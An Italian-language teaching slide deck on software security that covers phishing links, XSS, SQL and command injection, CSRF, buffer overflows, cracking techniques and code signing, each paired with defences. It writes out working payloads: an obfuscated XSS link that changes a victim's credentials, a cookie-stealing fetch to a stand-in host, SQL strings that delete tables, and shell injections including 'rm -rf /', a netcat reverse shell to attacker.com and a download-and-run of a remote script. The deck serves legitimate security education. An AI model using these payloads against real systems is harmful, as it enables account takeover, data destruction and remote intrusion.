class: center, middle # SECURING SOFTWARE --- # PHISHING -- - caso più semplice sono i link fuorvianti -- - come fare l'attacco? -- - un link è composto da una parte visibile all'utente ed una parte che contiene il vero collegamento (attributo href) -- ``` <a href="https://www.unicredit.it">Unicredit</a> ``` -- - questo è un altro link ``` <a href="https://www.unicredit.it">https://www.unicredit.it</a> ``` --- - qua non c'e' nulla di pericoloso, è solo uno scherzo innocente ``` <a href="https://www.intesasanpaolo.com">https://www.unicredit.it</a> ``` -- - qua puo' portare in un sito totalmente identico a quello originale ``` <a href="https://www.umicredit.it">https://www.unicredit.it</a> ``` -- - (La copia di un sito è banale, esempio usando l'estensione SingleFile ) -- - Occorre tener presente che in una pagina html o in un messaggio mail lo si vede come [`https://www.unicredit.it`](https://www.umicredit.it) -- - se si va con il puntatore sopra il link nel browser è possibile vedere l'anteprima del link in cui si verrà portati -- - occorre controllarle il link attentamente -- - Il Phishing normalmente viene usato per rubare le credenziali di accesso ad un sito --- # CODE INJECTION -- - XSS = cross site scripting -- - https://sguaff.com/davide/comuni/cerca.php -- ```php ... // prendo il testo cercato del request della pagina $query = $_REQUEST["query"]; // code injection, metto il testo cercato "$query" direttamente nella pagina echo "<p>Ricerca di $query</p>"; ... ``` --- - se l'utente ricerca ad esempio: ``` "<script>alert('attacco')</script>" ``` -- - l'html della pagina diventa: ```html ... <p>Ricerca di <script>alert('attacco')</script></p> ... ``` -- - viene eseguito il codice e viene mostrato un alert all'utente ! --- - Come lo trasformiamo un un attacco ? -- - viene costruito un link ```html ...cerca.php?query=<script>alert('attacco')</script> ``` -- - il link è sospetto, applichiamo btoa() al codice, ovvero lo trasformiamo in base64 ```html btoa("alert('attacco')") => "YWxlcnQoJ2F0dGFjY28nKQ==" ``` -- - per eseguirlo dobbiamo fare eval(atob("YWxlcnQoJ2F0dGFjY28nKQ==")) -- - il link diventa quindi: ```html ...cerca.php?query=<script>eval(atob("YWxlcnQoJ2F0dGFjY28nKQ=="))</script> ``` --- - ancora sospetto ? Allora facciamo un urlencode dei caratteri leggibili. -- - Ovvero un carattere viene sostituito da %xx, dove xx è il suo codice ascii: ```javascript A : %41 < : %3C ``` -- - otteniamo il seguente link: ```html https://sguaff.com/davide/comuni/cerca.php?query=%3C%73%63%72%69%70%74%3E %65%76%61%6C%28%61%74%6F%62%28'YWxlcnQoJ2F0dGFjY28nKQ=='%29%29%3C%2F%73%63 %72%69%70%74%3E ``` -- - il link risulta totalmente offuscato, chi può dire che sia sospetto solo guardandolo? -- - se facciamo cliccare il seguente link ad un utente del sito gli appare un alert --- - Tutta sta fatica solo per fargli vedere un messaggio di alert? -- - possiamo farci mandare i suoi cookie ? -- - teoricamente basterebbe semplicemente uno script di questo tipo: ```javascript <script>fetch("https://miosito.com/?cookie_rubati=" + document.cookie)</script> ``` -- - spesso no: i cookie possono essere http only (non accessibili da js), -- - oppure non e' possibile fare il fetch fuori dal dominio (siamo su sguaff.com non possiamo fare il fetch su miosito.com). Può essere disabilitato usando: ```php header("Content-Security-Policy: connect-src 'self'"); ``` --- - Quindi come usare un XSS injection ? -- - il codice viene eseguito nella sessione dell'utente vittima, con i suoi cookie -- - non possiamo farci mandare informazioni, ma possiamo far eseguire qualcosa all'utente -- - un esempio di script che cambia login e password di un account: -- ```javascript <script> fetch('/preference.php', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: new URLSearchParams({ op: 'save', login:"pippo", password: 'abcdefgh', password2: 'abcdefgh'}) }) </script> ``` --- - il codice messo in un link sarebbe sospetto, quindi lo offuschiamo -- - usiamo btoa() per convertire lo script in una stringa in base64, e poi lo eseguiamo con eval(atob( "stringa Base64" )) -- - otteniamo il seguente link: ``` https://www.sguaff.com/davide/comuni/cerca.php?query=%3C%73%63%72%69%70 %74%3E%65%76%61%6C%28%61%74%6F%62%28%22ZmV0Y2goJy9wcmVmZXJlbmNlLnBocCcse 21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd 3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6bmV3IFVSTFNlYXJjaFBhcmFtcyh7b3A6J3Nhd mUnLGxvZ2luOidwaXBwbycscGFzc3dvcmQ6J2FiY2RlZmdoJyxwYXNzd29yZDI6J2FiY2RlZ mdoJ30pfSk%3D%22+%29%29%3C%2F%73%63%72%69%70%74%3E ``` -- - se la vittima clicca questo link, il suo account è perso -- - da notare che il link non è troppo sospetto, -- - spesso ci sono link lunghissimi che provengono da google, facebook --- - ma se oltre che cambiare login e password questo script facesse anche di peggio ? -- - se il sito avesse un forum o un profilo bio, oppure ticket di supporto visibili agli altri -- - oltre che cambiare le credenziali, potrebbe anche postare il suo stesso link in questi punti -- - altri utenti potrebbero cliccare il link -- - il loro account verrebbe perso e per ognuno ci sarebbero altri link malevoli -- - worm ? --- - il primo caso si chiama REFLECTED XSS, una vittima che clicca su un link e perde l'account -- - nel secondo caso parliamo di STORED ATTACK, ovvero un worm che si propaga da solo -- - lo stored attack è più grave, perché persiste nel sistema. -- - Compromissione di massa e auto-propagazione --- - occorre difendersi con l'escape dei caratteri "pericolosi", tipo <, > e altri... <p><script>alert('attacco')</script></p> -- - ecco i caratteri di cui dobbiamo fare l'escape prima di emetterli sul browser per essere sicuri: ``` &lt; (<) &gt; (>) &amp; (&) & quot; (") &apos; (') ... ``` --- - Header ```php header("Content-Security-Policy: script-src https://sguaff.com"); ``` -- - Allora solo gli script che provengono da file di questo sito vengono eseguiti, -- - si prevengono gli inline script -- - ovvero vengono eseguiti solamente gli script richiamati nella forma ``` <script src="https://sguaff.com/script.js"></script> ``` -- - stessa cosa per i fogli di stile CSS ```php header("Content-Security-Policy: style-src https://esempio.com"); ``` --- # SQL INJECTION -- - Supponiamo di avere la seguente query: ```sql SELECT * FROM users WHERE username = '$username' ``` -- - dove username proviene da un input dell'utente -- - Occorre sanitizzare tutto quello che proviene dall'esterno -- - se l'utente inserisse nella ricerca: ```sql davide'; DELETE FROM users; -- ``` -- - la query diventerebbe ```sql SELECT * FROM users WHERE username = 'davide'; DELETE FROM users; --' ``` --- - quindi il codice in realta' sarebbe composto da due query: ```sql SELECT * FROM users WHERE username = 'davide'; DELETE FROM users; ``` -- - la seconda query pialla totalmente la tabella users! --- - Altro caso: ```sql SELECT * FROM users WHERE username = '{username}' AND password = '{password}' ``` -- - inserendo come username "davide" e per password la stringa: ```sql ' OR '1' = '1 ``` -- - si ottiene ```sql SELECT * FROM users WHERE username = 'davide' AND password = '' OR '1' = '1' ``` -- - Questa query ritorna tutte le righe del database perche' la condizione '1' = '1' è sempre verificata -- - solitamente viene preso il primo record della tabella utenti, che in tanti casi è l'admin. --- - come escaping in SQL c'e' il "prepared statement" -- - (o istruzioni tipo mysqli_real_escape_string()) -- - L'escaping in sql funziona raddoppiando i caratteri "sensibili" ```sql SELECT * FROM users WHERE username = ? ``` -- - il "prepared statement" raddoppia l'apostrofo. Nel primo caso avremmo avuto ```sql SELECT * FROM users WHERE username = 'davide''; DELETE FROM users; --' ``` --- - Mentre il secondo esempio: ```sql SELECT * FROM users WHERE username = ? AND password = ? ``` -- - sarebbe diventato: ```sql SELECT * FROM users WHERE username = 'davide' AND password = ''' OR ''1'' = ''1' ``` --- #COMMAND INJECTION -- - comandi lanciati come da terminale -- - usato quando ci sono comandi che vanno direttamente al sistema operativo es. usando il comando "system" od exec ```php $host = $_GET['host']; system("ping -c 1 $host"); ``` -- - se l'utente inserisse ad esempio: ```sh google.com; ls ``` -- - Il comando reale eseguito sarebbe ```sh ping -c 1 google.com; ls ``` -- - ovvero l'utente eseguirebbe un secondo comando di seguito al primo --- - con il command injection ci si puo' sbizzarrire -- - se avessimo inserito: ```sh google.com; rm -rf / (rimozione di tutti i file partendo dalla root, permessi permettendo) ``` -- - usando sempre lo stesso esempio, inserendo: ```sh google.com; nc attacker.com 4444 -e /bin/sh (si connette all'host sulla porta 4444 ed apre una shell remota) ``` --- - se avessimo un codice php per scaricare in locale un documento ```sh system("wget " . $_GET['url']); ``` -- - inserendo nel link a quella pagina: ```sh url=http://evil/x.sh; sh x.sh (scaricamento di uno script ed immediata esecuzione) ``` -- - spesso nei siti che offrono conversione tra formati c'e' il codice ```php system("ffmpeg -i " . $_GET['file'] . " out.mp4"); ``` --- - come al solito, se viene usato un input utente per eseguire comandi abbiamo un problema -- - usare system o exec o eval, solo con comandi predefiniti, senza stringhe che provengono da utenti -- - Se proprio occorre usare: escapeshellarg(), escapeshellcmd() -- - Ma meglio evitare del tutto system o exec con comandi variabili --- # CLIENT SIDE VALIDATION: -- - scenario: abbiamo un form html in uno shop online, con campi che devono essere compilati -- - C'e' un checkbox che ci chiede se usare uno sconto o meno, -- - ma non ne abbiamo diritto per cui il checkbox è disabilitato -- - Aprendo i Developer tools dentro al browser (shift-control-I), troviamo ```html <input disabled type="checkbox"> (nota: non c'e' l'end-tag e c'e' un attributo senza valore) ``` -- - tramite il developer tool è possibile togliere l'attributo "disabled" ed è possibile poi inviare il form al server --- - Stranamente, ancora una volta, non è possibile fidarsi di quello che inserisce un utente -- - il server deve sempre fare un controllo SERVER side --- - Altro esempio: ```html <input required type="text"> (in questo caso l'utente è costretto a compilare la casella di testo) ``` -- - se viene eliminato il "required" il form puo' essere inviato con il campo vuoto -- - Ogni server/linguaggio ha il proprio tipo di controllo, ma è importante che il controllo sui dati inseriti sia sempre presente. -- - Il front-end deve avere vincoli per facilitare l'input utente, ma gli stessi vincoli devono essere replicati nel back-end --- #CROSS SITE REQUEST FORGERY -- - ci sono certi siti che permettono es. di comperare un articolo tramite un singolo link, es: ```html <a href="https://www.amazon.it/dp/B07XLQ2FSK">Compra ORA!</a> ``` -- - Cliccandolo viene inviata una richiesta GET al server www.amazon.it: ```sh GET /dp/B07XLQ2FSK HTTP/3 Host: amazon.it ``` --- - ma se la richiesta è get allora puo' anche essere inserita in un tag di tipo img ```html <img src="https://www.amazon.it/dp/B07XLQ2FSK"> ``` -- - ovviamente la richiesta al server non ritorna un'immagine, non viene visualizzato nulla, ma l'importante e' che la richiesta venga fatta. -- - in questa maniera l'utente potrebbe comprare in questo caso un oggetto a sua insaputa -- - Dipende dal server cosa si puo' fare -- - occorre usare POST ovvero un tag form: ```html <form action="https://www.amazon.it/" method="post"> <input name="dp" type="hidden" value="B07XLQ2FSK"> <button type="submit">Compra Ora</button> </form> ``` --- - altra rappresentazione del pulsante compra ora, ma usa il metodo post. -- - in questa maniera si tengono i parametri fuori dall'url -- - Qua occorre premere il pulsante! -- - ma se aggiungiamo lo script ```html <script> document.forms[0].submit(); </script> ``` -- - il form viene inviato non appena si carica la pagina web --- - per prevenire il problema usiamo un "Cross-Site Request Forgery" token: ```html <form action="https://www.amazon.it/" method="post"> <input name="csrf_token" type="hidden" value="1234abcd"> <input name="dp" type="hidden" value="B07XLQ2FSK"> <button type="submit">Compra Ora</button> </form> ``` -- - csrf token è generato casualmente da amazon ed associato al tuo account, un hacker non lo puo' conoscere -- - Questo token viene inserito nell'header della richiesta ``` POST / HTTP/3 Host: amazon.it X-CSRFToken: 1234abcd ``` --- # Arbitrary code execution ACE -- - Buffer Overflow - quando un eseguibile viene caricato in memoria il layout è questo: ``` ------------------------- stack | v ------------------------- ------------------------- ^ | heap ------------------------- eseguibile ------------------------- ``` --- - Quando serve memoria al programma, questa viene allocata nello stack, che si sposta verso il basso. -- - Nello stack ci va anche il return address da una subroutine, che in pratica fa saltare l'esecuzione del codice ad uno specifico indirizzo -- - supponiamo di aver ricercato la parola "gatto" in questo software, la situazione potrebbe essere la seguente: ``` ------------------------- "gatto" salta all'eseguibile ------------------------- ------------------------- heap ------------------------- eseguibile ------------------------- ``` --- - se invece di "gatto" mettessimo una stringa piu' lunga, questo nostro codice di attacco potrebbe "sbordare" dei caratteri previsti per la ricerca -- - potrebbe sovrascrivere il ret address e far in maniera di eseguire parti di codice del programma non previste per l'esecuzione -- ``` ------------------------- codice di attacco salta al codice di attacco <--- (sborda sotto perche' troppo lungo) ------------------------- ------------------------- heap ------------------------- eseguibile ------------------------- ``` --- # CRACKING -- - craccare un programma? cosa significa? -- - reverse engineering: capire come funziona il software -- - ma reverse engineering è anche analisi del malware -- - reverse engineering ed il debug dei programmi sono le attività cognitive umane più difficoltose -- - Al pari di partite a scacchi ad alto livello, matematica pura avanzata, progettazione di sistemi complessi... -- - premiamo tutti alt F4 per mostrare rispetto --- Tecniche di craking: -- - Reverse engineering: Analisi del binario per capire come funziona e dove controlla la licenza. -- - Debugging: Esecuzione passo‑passo per vedere quando e perché fallisce un check. -- - Patch binaria: Modifica di istruzioni (es. saltare un controllo “if”). -- - Keygen: Ricostruzione dell’algoritmo che valida una chiave. -- - Hooking: Intercettare funzioni di sistema o librerie per mentire al programma. -- - Emulazione di licenza: Fingere la presenza di chiavi hardware, server o file di licenza. -- - Tampering della memoria: Cambiare valori runtime (flag, contatori, stato “licensed”). --- #Open-source software -- - pro: esperti in tutto il mondo possono verificare il codice e verificare se ci sono bug o che non sia "malizioso" -- - contro: anche gli attacker possono esaminare il codice! --- #Closed-source software -- - il codice non è accessibile per nessuno -- - forse ha dei bug, ma non avendo il codice anche gli attacker hanno più difficoltà a trovare falle --- - Se il codice proviene da un APP STORE approvato, siamo moderatamente sicuri che sia stato almeno controllato -- - Nell'app store il software viene firmato digitalmente: -- - viene creato l'hash del pacchetto eseguibile: software -> hash -- - usando la chiave private dell'azienda che crea il software si cripta l'hash (google, apple o lo stesso singolo sviluppatore) -- - (private key, hash) -> firma autenticata -- - il software in questa maniera si dice digitalmente firmato --- # Package manager (in ambiente linux o freebsd) -- - pkg, apt, rpm ... ce ne sono tanti per ogni distribuzione di linux -- - i package vengono firmati digitalmente -- - attualmente la tendenza è quella di inserire direttamente nel sistema operativo il concetto di app-store con software provenienti da fonti sicure. -- - downside, diventa piu' difficile installare software di terze parti o di nicchia. -- - I colossi del web in questa maniera gestiscono quello che puoi usare sul tuo device. -- - Gli app store non sono sicuri al 100% (esempio estensioni usate nel browser) --- #Bug bounty -- - le aziende pagano una taglia per scoprire bug nel software -- - l’azienda dichiara: “potete testare questi sistemi” -- - un ricercatore trova un bug (XSS, SQLi, RCE, ecc.) -- - lo segnala in modo responsabile -- - se valido si ottiene una ricompensa (denaro, ranking, oggetti) -- - viene premiata la gravità del bug, l'impatto reale, la qualità del report, l'originalità --- #CVE: common vulnerability and Exposures -- - hanno tutti un codice unico -- - common vulnerability scoring system CVSS : la gravita' del bug -- - Exploit Prediction Scoring System EPSS : quanto sia facile incorrere in questo bug -- - Known Exploited Vulnerabilities Catalog KEV: catalogo dei bug che sono stati usati in attacchi